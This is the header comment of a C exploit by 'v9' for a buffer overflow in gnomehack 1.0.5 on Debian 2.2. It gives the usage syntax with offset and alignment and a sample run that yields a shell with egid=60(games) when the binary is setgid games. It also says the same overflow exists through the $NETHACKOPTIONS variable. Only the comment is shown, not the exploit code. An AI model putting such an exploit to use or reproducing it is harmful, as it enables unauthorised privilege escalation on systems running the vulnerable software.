/* (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org].
   this will give you an egid=60(games) shell if gnomehack is sgid(=2755) games
   on debian/2.2, which has gnomehack. (this can also be applied to nethack)

   syntax: ./deb_gnomehack [offset] [alignment].

   example:
   -------------------------------------------------
   # ./deb_gnomehack 500 0
   [ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org]. ]
   [ return address: 0xbffff978, offset: 500, align: 0. ]
   sh-2.03$ id
   uid=1001(v9) gid=1001(v9) egid=60(games) groups=1001(v9)
   sh-2.03$
   -------------------------------------------------

   note: overflow exists in $NETHACKOPTIONS as well, like nethack.
